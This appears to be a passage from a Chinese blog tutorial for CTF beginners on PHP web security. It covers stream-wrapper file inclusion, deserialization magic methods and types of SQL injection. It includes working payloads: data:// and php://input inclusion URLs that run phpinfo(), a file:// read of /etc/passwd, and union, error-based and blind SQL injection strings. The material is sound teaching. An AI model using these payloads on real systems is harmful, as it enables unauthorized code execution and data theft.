数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的 data:// 流会被当作 php 文件执行。

示例用法:

data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

范例

Example #1 打印 data:// 的内容

<?php 
// 打印 "I love PHP" 
echo file_get_contents ('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>
3 file://

用于访问本地文件系统,并且不受 allow_url_fopen,allow_url_include 影响
file:// 协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword

4 php://

在 allow_url_fopen,allow_url_include 都关闭的情况下可以正常使用
php:// 作用为访问输入输出流

5 php://input

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input, 同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容。从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST 数据:<?php phpinfo()?>
就会执行 phpinfo();

反序列化

php 中有一个东西叫做类

<?php
​
class test{
public $id = 'Baize';
public $name = 'Sec';
}
​
$test1 = new test();
​
$test2 = serialize($test1);
​
print_r($test2);
​
?>

类相当于一个模板
在其中可以定义变量以及函数

而利用类这个模板创造的东西叫做实例

这里 test 是类 test1 是实例
定义如图,用 new 关键字创建实例

而有时候我们想将创建的实例进行传输或者是储存,
那我们就必须将其转化为字符串的形式,而将其妆化为字符串或字节流的过程就叫做反序列化

使用 serialize 函数来将实例转换为字符串
比如O:4:"test":2:{s:2:"id";s:5:"Baize";s:4:"name";s:3:"Sec";}
而使用 unserialize 来将字符串转化为实例对象
所以当有 unserialize 函数且其传入的参数我们可以控制时
就存在反序列化漏洞

而类中可以定于魔术方法函数,这些函数在满足一定的条件的时候就会被触发


__construct()            // 类的构造函数,创建对象时触发

__destruct()             // 类的析构函数,对象被销毁时触发

__call()                 // 在对象上下文中调用不可访问的方法时触发

__callStatic()           // 在静态上下文中调用不可访问的方法时触发

__get()                  // 读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  // 在给不可访问属性赋值时触发

__isset()                // 当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                // 在不可访问的属性上使用 unset()时触发

__invoke()               // 当尝试以调用函数的方式调用一个对象时触发

__sleep()                // 执行 serialize()时,先会调用这个方法

__wakeup()               // 执行 unserialize()时,先会调用这个方法

__toString()             // 当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

SQL 注入

[!info]- SQL 注入需要一定的 SQL 语法基础,这里听的懂就听,听不懂也不要慌张

SQL 注入是什么

简单来说 SQL 注入,就是将攻击者输入的恶意代码被传到后端与 SQL 语句一起构造并在数据库中执行

# SQL 注入基础及绕过手段
通过不同的手段,SQL 注入可以分为一下几类

Web 安全——PHP 语法与安全

首先我们来看一下一个最基础的 SQL 注入例子

$a=$_GET['a']
$sql='select * from article where artid ='.$a ;

这是一段正常的 SQL 查询语句,如果我们让 $a=1,那么就会查询 id 为 1 的文章

如果此时我们输入了 1 加一个单引号,那么此时的查询语句就是这样的
select * from article where artid = 1'
由于单引号没有闭合,从而导致 SQL 查询出错。

而基于不同的过滤,MYSQL 版本或者是其他东西等,SQL 注入就分为了很多种方法,

这里我们举了最常见的几种 SQL 注入方法。

1. 联合注入

也是我们最简单最基础的一种注入方法,基本上 SQL 注入都是从联合注入开始学的

通过 union 语句,我们可以同时查询多组数据

例如最简单的查询数据库名:1' union select 1,database()#

有时候只会回显一组数据,那么我们就可以改为

-1' union select 1,database()#

2. 报错注入

就是通过报错回显的信息从而达成查看信息的目的

1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

常见被利用的有旁边我列出来的几种函数

3. 布尔盲注

适用于没有数据回显的情况下

通过不同的回显进行判断是否成功

如这里我们查询数据库名的长度:

1' and length(database())=4#

4. 时间盲注

和布尔盲注类似,只不过利用了 sleep()函数,通过响应时间来判断

其他的注入方式我就简单说说,因为目前我也没见到过很多这种题

例如更新注入就是利用 update 语句进行注入

堆叠注入和命令拼接类似,都是用分号同时执行多条语句

二次注入就是利用了后端对数据库的信任,对数据库取出来的数据不进行处理从而导致注入问题

还有宽字节注入等,利用了编码的错误实现绕过

最后我想说的

Web 安全是一个知识点杂且多的方向, 大部分地方需要依赖自学

要解决遇到的问题
善用搜索引擎,AI, 若在这之后还是不会或是网上没有相关的资料, 可以来询问几个 Web 学长
若是想要询问经验或是方向相关的事情, 也欢迎过来询问

如何提升?

推荐编程语言学习文档: 菜鸟教程

强烈建议可以尝试打简单的 CTF 比赛, 以赛促学

ctf 网站:buuctf ctfhub nssctf ctfshow 攻防世界

[!info]- 在大 AI 时代也要好好利用 AI

正文完
 1
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-12-09发表,共计19305字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码